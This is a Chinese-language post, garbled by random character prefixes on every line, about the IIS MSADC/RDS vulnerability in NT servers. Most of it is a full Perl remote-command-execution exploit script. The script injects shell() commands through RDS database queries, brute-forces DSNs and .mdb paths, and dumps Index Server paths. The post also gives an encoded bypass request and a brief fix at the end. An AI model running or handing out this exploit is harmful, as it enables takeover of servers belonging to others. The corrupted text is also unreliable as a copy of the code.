IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
gP3[=a"\ d1-QkW^0y 涉及程序:
b}fH$.V@ Microsoft NT server
+"!IVHY DsoF4&>g[B 描述:
x-1[2K1"[ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
<x/&Ml+ ,f$RE6 详细:
@:63OLlrG 如果你没有时间读详细内容的话,就删除:
>9 iv> c:\Program Files\Common Files\System\Msadc\msadcs.dll
KvQ9R!V 有关的安全问题就没有了。
du !.j 7%hMf$KQ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
sdb#K?l g0l- n 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
9;PtYdJ8 关于利用ODBC远程漏洞的描述,请参看:
<t8}) 2h=RNU| http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm wNlp4Z'[ fRiHs\+ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
Rh=h{O http://www.microsoft.com/security/bulletins/MS99-025faq.asp {?8rvAjY ?^dyQhb 这里不再论述。
9:1ZL_yf z8oSh t`+ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
;.iy{&$ Px<;-H` /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
%\A~w3 E 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
?1YK-T@ e.N#+ BsJClKp/ #将下面这段保存为txt文件,然后: "perl -x 文件名"
D3]_AS&\ W|:WAxJ*d #!perl
||hd(_W8 #
aePk^?KbB # MSADC/RDS 'usage' (aka exploit) script
YJ6Xq||_ #
k@?<Aw8_X # by rain.forest.puppy
:0J;^@ #
NunT1ved # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Af;$}P # beta test and find errors!
p|zW2L x`4">:IA use Socket; use Getopt::Std;
e.[h getopts("e:vd:h:XR", \%args);
o.,hCg)X 8O]$)E print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
k]Yd4CC2 BwR)--75 if (!defined $args{h} && !defined $args{R}) {
%
74}H8q_z print qq~
k3&Wv Usage: msadc.pl -h <host> { -d <delay> -X -v }
\n}cx~j -h <host> = host you want to scan (ip or domain)
[,VD^\ -d <seconds> = delay between calls, default 1 second
|g~.]2az -X = dump Index Server path table, if available
nk[ixVc -v = verbose
zJPzI{-w| -e = external dictionary file for step 5
\QVL%,.%M 8{AzB8xp Or a -R will resume a command session
'Ag?#vB G=DRz F ~; exit;}
8IO4>CMkv HM`;%0T0( $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
"bJW yUb if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
./u3z|q1 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
,a}+Jj{ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
uKK+V6}!kj $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
*t63c.S if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
WawOap Ls( &. if (!defined $args{R}){ $ret = &has_msadc;
Hd
:2 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
-Wf 2m6t )<%GHDWL print "Please type the NT commandline you want to run (cmd /c assumed):\n"
T{Av[>M . "cmd /c ";
LBTf}T\ $in=<STDIN>; chomp $in;
n;[d{bU $command="cmd /c " . $in ;
[S4<bh! XLB7
E if (defined $args{R}) {&load; exit;}
:AL
nm0d O9bIo]B print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
HUZI7rC[=) &try_btcustmr;
@I9A"4Im ,#nyEE print "\nStep 2: Trying to make our own DSN...";
5-*/wKjLz &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Vf0m7BJc3 _G@)Bj^* print "\nStep 3: Trying known DSNs...";
[:Sl^ Z&6M &known_dsn;
-GH>12YP 'vBuQinn print "\nStep 4: Trying known .mdbs...";
o^mW`g8[ &known_mdb;
n}EH{k9# A\LMmg if (defined $args{e}){
Q/I/>6M7UZ print "\nStep 5: Trying dictionary of DSN names...";
af)L+%Q%R &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
.^eajb`: EW]rD print "Sorry Charley...maybe next time?\n";
#V@[<S2 exit;
4PR!OB A|7%j0T ##############################################################################
idEhxvAo /C}u,dBf sub sendraw { # ripped and modded from whisker
%AaZc=a[c sleep($delay); # it's a DoS on the server! At least on mine...
eot%Th?[ my ($pstr)=@_;
`@RTfBBg socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
RGsgT ^ die("Socket problems\n");
a0~LZQ? if(connect(S,pack "SnA4x8",2,80,$target)){
3v\}4)A[ select(S); $|=1;
0
*2^joUv print $pstr; my @in=<S>;
]v=A}}kS select(STDOUT); close(S);
<m'W{n%Pp return @in;
4S5U|n } else { die("Can't connect...\n"); }}
,?S1e# @P@?KZ..v! ##############################################################################
PKJ w%.- ZwM(H[iqL sub make_header { # make the HTTP request
\I( g70 my $msadc=<<EOT
;X , A|m$( POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Zcjh User-Agent: ACTIVEDATA
lxf+$Z`~: Host: $ip
*lc|iq\ Content-Length: $clen
LtW}R4}3 Connection: Keep-Alive
?L x*MJZ 1R-WJph ADCClientVersion:01.06
7_HFQT1.N Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
f}=>c|Do H}?"2jF --!ADM!ROX!YOUR!WORLD!
id+ ~ V Content-Type: application/x-varg
R.(PZC vS Content-Length: $reqlen
Qco8m4n fN&@y$ EOT
;Nk,bb K ; $msadc=~s/\n/\r\n/g;
|0OY>5 return $msadc;}
HAwdu1$8 5X&Y~w,poU ##############################################################################
XlLG/N
a@!(o )> sub make_req { # make the RDS request
8
kvF~d
; my ($switch, $p1, $p2)=@_;
z9Z4MXl my $req=""; my $t1, $t2, $query, $dsn;
52ExRG S >e^bq/' if ($switch==1){ # this is the btcustmr.mdb query
=U'!<w<- $query="Select * from Customers where City=" . make_shell();
z;DNl#|!L $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
C cPOK2 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
9:R3+,ZN A*G ~#v^ elsif ($switch==2){ # this is general make table query
,<k%'a!B
$query="create table AZZ (B int, C varchar(10))";
6%it`A8} $dsn="$p1";}
L+N\B@ 0- M0yv=g elsif ($switch==3){ # this is general exploit table query
!#d5hjoX
$query="select * from AZZ where C=" . make_shell();
&+ "<ia( $dsn="$p1";}
8yk7d76Y 1_WP\@O elsif ($switch==4){ # attempt to hork file info from index server
~y{_NgMo $query="select path from scope()";
;* QK^ # $dsn="Provider=MSIDXS;";}
.do8\ ~[%_]/#&%z elsif ($switch==5){ # bad query
ncqAof(/ $query="select";
AXF
1{ $dsn="$p1";}
/% g+|C x
]"> $t1= make_unicode($query);
p]0`rf!| $t2= make_unicode($dsn);
JkhW LQ>o $req = "\x02\x00\x03\x00";
,p{naT%R $req.= "\x08\x00" . pack ("S1", length($t1));
Dj>eAO> $req.= "\x00\x00" . $t1 ;
djH&)&q! $req.= "\x08\x00" . pack ("S1", length($t2));
eR%\_;}7; $req.= "\x00\x00" . $t2 ;
Qk? WX
(`B $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
4C/G &w& return $req;}
{0~\ T[qm 4sRM"w; ##############################################################################
;4l8Qg
7 ?VlGTMaS+ sub make_shell { # this makes the shell() statement
k@
<dru return "'|shell(\"$command\")|'";}
-L+kt_> ,OWk[0/ ##############################################################################
VCfHm"'E8 -0UR%R7q sub make_unicode { # quick little function to convert to unicode
>"8;8Ev my ($in)=@_; my $out;
:s6aFiz for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
hr;^.a^ return $out;}
;plBo%EBV ![;={d0 ##############################################################################
SIapY%)h 1RJFPv sub rdo_success { # checks for RDO return success (this is kludge)
nfbR"E
jXr my (@in) = @_; my $base=content_start(@in);
K[kK8i+( if($in[$base]=~/multipart\/mixed/){
oUwo!n} return 1 if( $in[$base+10]=~/^\x09\x00/ );}
3CgID6[Sy return 0;}
<o/!M6^: b"uO BB ##############################################################################
ckMG4
3i\j f`:GjA,J$ sub make_dsn { # this makes a DSN for us
- w*fS,O my @drives=("c","d","e","f");
PChe w3 print "\nMaking DSN: ";
hw,nA2w\ foreach $drive (@drives) {
Vm|KL3}NRv print "$drive: ";
HdN5zl,q my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
|Fe[RGi+8 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
y_X jY . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
aX`uF<c9 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
E447'aJ return 0 if $2 eq "404"; # not found/doesn't exist
+q'\rpt if($2 eq "200") {
_aR{B-E foreach $line (@results) {
ulxfxfd return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
WW+xU0 } return 0;}
("\{=XAQ Ie(i1?`A8 ##############################################################################
&nDXn| ]f#s`.A~ sub verify_exists {
L/Q[N^ (^ my ($page)=@_;
s>m2qSu my @results=sendraw("GET $page HTTP/1.0\n\n");
`Jk0jj6Z return $results[0];}
0u1ZU4+EC ;+<IWDo ##############################################################################
}%p:Xv@X! I%u 2 ce sub try_btcustmr {
-Y@tx fu- my @drives=("c","d","e","f");
9Q=VRH: my @dirs=("winnt","winnt35","winnt351","win","windows");
N]w_9p~=1 O`c+y foreach $dir (@dirs) {
&nP0T-T5y print "$dir -> "; # fun status so you can see progress
gE _+r foreach $drive (@drives) {
g35!a<JW
print "$drive: "; # ditto
Vf;&z$D{r $reqlen=length( make_req(1,$drive,$dir) ) - 28;
ka~_iUU4 $reqlenlen=length( "$reqlen" );
[EDX@Kdq) $clen= 206 + $reqlenlen + $reqlen;
GuO}CQs^W <Cv(@A-> my @results=sendraw(make_header() . make_req(1,$drive,$dir));
HD^#" if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
?>Sv_0 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
ao2^3e }9+;-*m/ ##############################################################################
uR ?W|a j@>D]j sub odbc_error {
Yy88 5 my (@in)=@_; my $base;
Q]YB.n3 my $base = content_start(@in);
}:m/@LKB if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
ux<|8S $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
*Jgi=,!m $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
8
MQq3 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
^FKiVKI: return $in[$base+4].$in[$base+5].$in[$base+6];}
S3\NB3@qC& print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
eCYPd-d print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
5E\.YqdV $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
"iA0hA 3]l)uoNt/ ##############################################################################
k5I;Y:~` [3jJQ3O, sub verbose {
$AZYY\1 my ($in)=@_;
g}NO$?ndg return if !$verbose;
%"0, o$ print STDOUT "\n$in\n";}
"E(i< o/w3b8 ##############################################################################
6;Z-Y>\c umIGI sub save {
bZ\R0[0 my ($p1, $p2, $p3, $p4)=@_;
]xQv\u open(OUT, ">rds.save") || print "Problem saving parameters...\n";
k
ucbI_ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Kcm+%p^ close OUT;}
6nZ]y&$G-k 4yxQq7
m, ##############################################################################
0G+Q^]0 8@t8P5(vL sub load {
UGSZg|&6#* my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
{V6&((E8 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
oZa'cZNs @p=<IN>; close(IN);
J,F1Xmr4 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
p?i.<Z $target= inet_aton($ip) || die("inet_aton problems");
wM+1/[7 print "Resuming to $ip ...";
( zWBrCX $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
B?! L~J@p if($p[1]==1) {
X:oOp=y]| $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
W:_-I4q~ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
CRK%^3g my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
<rBW6o7 if (rdo_success(@results)){print "Success!\n";}
XOvJlaY)'. else { print "failed\n"; verbose(odbc_error(@results));}}
\rS*\g:i elsif ($p[1]==3){
g&s.
0+ if(run_query("$p[3]")){
N1$u@P{ print "Success!\n";} else { print "failed\n"; }}
4yyw:" elsif ($p[1]==4){
JT?u[pQ^ if(run_query($drvst . "$p[3]")){
d=D-s print "Success!\n"; } else { print "failed\n"; }}
gQ_<;'m)2 exit;}
)2&3D"V tm+*ik=x| ##############################################################################
pey=zR! G?s9c0f sub create_table {
o;$xN3f, my ($in)=@_;
$G".PWc $reqlen=length( make_req(2,$in,"") ) - 28;
Q;]JVT1 $reqlenlen=length( "$reqlen" );
KqK]R6> $clen= 206 + $reqlenlen + $reqlen;
Ymz/: my @results=sendraw(make_header() . make_req(2,$in,""));
YzESVTh return 1 if rdo_success(@results);
l7|z]v- my $temp= odbc_error(@results); verbose($temp);
YvJFZ_faX return 1 if $temp=~/Table 'AZZ' already exists/;
lq-KM8j return 0;}
WXy8<?s ~*HQPp?v ##############################################################################
w"j>^#8 |V a:*3u sub known_dsn {
'Aq^z%| # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
P([!psgu my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
5#GMp "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
kelBqJ-,p "banner", "banners", "ads", "ADCDemo", "ADCTest");
`
,\b_SFg ("8 Hku? foreach $dSn (@dsns) {
!"N,w9MbD print ".";
/6')B !& next if (!is_access("DSN=$dSn"));
yaR>?[h if(create_table("DSN=$dSn")){
@IL04' \ print "$dSn successful\n";
wlXs/\es if(run_query("DSN=$dSn")){
T#ls2UL*xh print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Xq? >a+B print "Something's borked. Use verbose next time\n";}}} print "\n";}
B!wN%>U 8,U~ p<Gz ##############################################################################
!D=! Nx 42k|8
sub is_access {
g88k@<Y my ($in)=@_;
i!a!qE.1 $reqlen=length( make_req(5,$in,"") ) - 28;
;/Hr ZhOE $reqlenlen=length( "$reqlen" );
$gl|^c\ $clen= 206 + $reqlenlen + $reqlen;
zG9FO/@av my @results=sendraw(make_header() . make_req(5,$in,""));
H8eEBMGo my $temp= odbc_error(@results);
\lbH
verbose($temp); return 1 if ($temp=~/Microsoft Access/);
74([~Qs _M return 0;}
>V"{]v E=I'$*C\D ##############################################################################
]3 "0#Y hIV9 .{J sub run_query {
LeCc`x,5 my ($in)=@_;
3~`P8 9 $reqlen=length( make_req(3,$in,"") ) - 28;
Y/sav; $reqlenlen=length( "$reqlen" );
'gY?=,dF> $clen= 206 + $reqlenlen + $reqlen;
"Hw%@]# my @results=sendraw(make_header() . make_req(3,$in,""));
RdX+:!lD return 1 if rdo_success(@results);
tK3$,9+ my $temp= odbc_error(@results); verbose($temp);
MSCH6R"5 return 0;}
\l/(L5gY d:'{h"M6 ##############################################################################
Q`k;E}x_- &{Z+p(3Gj sub known_mdb {
DGHSyB^+1 my @drives=("c","d","e","f","g");
2XR!2_)O5 my @dirs=("winnt","winnt35","winnt351","win","windows");
K*:=d}^ my $dir, $drive, $mdb;
T\gs my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
wq?"NQ?O< iHv+I~/ # this is sparse, because I don't know of many
F@<cp ?dR my @sysmdbs=( "\\catroot\\icatalog.mdb",
7m#EqF$P "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
E-WpsNJ)X "\\system32\\certmdb.mdb",
lf=G "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
EB3/o7)L PhAfEsD my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
jRsl/dmy "\\cfusion\\cfapps\\forums\\forums_.mdb",
|b\a)1Po: "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
z};|.N} "\\cfusion\\cfapps\\security\\realm_.mdb",
ja9u?UbW "\\cfusion\\cfapps\\security\\data\\realm.mdb",
-
|pe D
L "\\cfusion\\database\\cfexamples.mdb",
v.RA{a 9 "\\cfusion\\database\\cfsnippets.mdb",
-|V#U`mwF "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
}1 O"?6 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
_gMr]%Q "\\cfusion\\brighttiger\\database\\cleam.mdb",
S<T'B0r8 "\\cfusion\\database\\smpolicy.mdb",
?=7k<a~ "\\cfusion\\database\cypress.mdb",
6w%n$tiX "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
z?DCQ "\\website\\cgi-win\\dbsample.mdb",
yy5|8L "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
]y#'U "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
!$NK7- ); #these are just
B2NIV7 foreach $drive (@drives) {
^li3*#eT foreach $dir (@dirs){
G&h@ foreach $mdb (@sysmdbs) {
a<-aE4wdm print ".";
_n:RA)4* if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
>a975R*g print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
\:@6(e Bh if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Wrp~OF0k print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
y{M7kYWtHV } else { print "Something's borked. Use verbose next time\n"; }}}}}
r1HG$^ Kb]}p foreach $drive (@drives) {
>~ *wPoW foreach $mdb (@mdbs) {
,|*Gr"Q= print ".";
"EpH02{i if(create_table($drv . $drive . $dir . $mdb)){
,x\qYz+7| print "\n" . $drive . $dir . $mdb . " successful\n";
%vO(.A+ if(run_query($drv . $drive . $dir . $mdb)){
*$O5.`] print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Lx_Jw\YO } else { print "Something's borked. Use verbose next time\n"; }}}}
qb;b.P?~D$ }
@tSB^&jUWu |cd"cx+ ##############################################################################
W$X/8K bn Fug4u?-n sub hork_idx {
>K'dgJ245 print "\nAttempting to dump Index Server tables...\n";
uG -+&MU? print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
'9QEG/v $reqlen=length( make_req(4,"","") ) - 28;
%e[E@H 7 $reqlenlen=length( "$reqlen" );
#|T"6jJaQ $clen= 206 + $reqlenlen + $reqlen;
t;+b*S6D my @results=sendraw2(make_header() . make_req(4,"",""));
j3&q?1 if (rdo_success(@results)){
"$N$:B @U my $max=@results; my $c; my %d;
jOCV)V9} for($c=19; $c<$max; $c++){
-"zW"v)\ $results[$c]=~s/\x00//g;
;'Hu75ymo $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
r\QV%09R $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
K Zg NL| $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
I:t?# )wl $d{"$1$2"}="";}
" O
r1 fC foreach $c (keys %d){ print "$c\n"; }
8Dl(zY K; } else {print "Index server doesn't seem to be installed.\n"; }}
1BmKwux: f:46.)Wj< ##############################################################################
[4xZy5V "'t f]s sub dsn_dict {
,|z@Dy open(IN, "<$args{e}") || die("Can't open external dictionary\n");
7(D)U)9h while(<IN>){
@_t=0Rc $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
FI: H/e5[ next if (!is_access("DSN=$dSn"));
Zrwd if(create_table("DSN=$dSn")){
jv v= print "$dSn successful\n";
wdt2T8`I/ if(run_query("DSN=$dSn")){
?#a&eW print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Jqzw94 print "Something's borked. Use verbose next time\n";}}}
2ih}?%H8 print "\n"; close(IN);}
Syseiw :ek^M ( ##############################################################################
y=sae Lios1|5 sub sendraw2 { # ripped and modded from whisker
..Dm@m} sleep($delay); # it's a DoS on the server! At least on mine...
/&\V6=jA1 my ($pstr)=@_;
Pm#/j; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
iz^a Qx/ die("Socket problems\n");
-J=6) if(connect(S,pack "SnA4x8",2,80,$target)){
r]-n, print "Connected. Getting data";
Ae=JG8Ht~ open(OUT,">raw.out"); my @in;
hlreeXv select(S); $|=1; print $pstr;
)n"0:"Ou while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
NA$)qX_ close(OUT); select(STDOUT); close(S); return @in;
gJp6ReZ# } else { die("Can't connect...\n"); }}
O`Qke
Z} T*@o?U ##############################################################################
02J(*_o D?%[du:V sub content_start { # this will take in the server headers
B#hvw'} my (@in)=@_; my $c;
?f9M59(l for ($c=1;$c<500;$c++) {
Ge({sy>X if($in[$c] =~/^\x0d\x0a/){
&0f/F:M if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
&u^]YE{ else { return $c+1; }}}
F3vywN1$, return -1;} # it should never get here actually
0'f\>4B }fk3a9j9u ##############################################################################
T}z? i x] `F#5j sub funky {
>&fD:y'& my (@in)=@_; my $error=odbc_error(@in);
Kg~D~
+j if($error=~/ADO could not find the specified provider/){
Qu Mv1)n print "\nServer returned an ADO miscofiguration message\nAborting.\n";
G>:v1lde exit;}
y$nI?:d if($error=~/A Handler is required/){
O13]H"O_ print "\nServer has custom handler filters (they most likely are patched)\n";
{/)i}V#RE exit;}
vN
v'%;L if($error=~/specified Handler has denied Access/){
H!0m8LCnb print "\nServer has custom handler filters (they most likely are patched)\n";
Z&?4<-@6\p exit;}}
l
z"o( %D %CYo,
e ##############################################################################
pRh9+1EM; o"0~ sub has_msadc {
/Z]nV2$n)V my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
I9L3Y@(f6m my $base=content_start(@results);
(e5Z^9X return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
^w%%$9=:r return 0;}
b3_P??yp !wUznyYwt ########################
'/XP4B\(E .|u`s,\ ,[p pETz 解决方案:
$bKXP( 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
E@otV6Wk[@ 2、移除web 目录: /msadc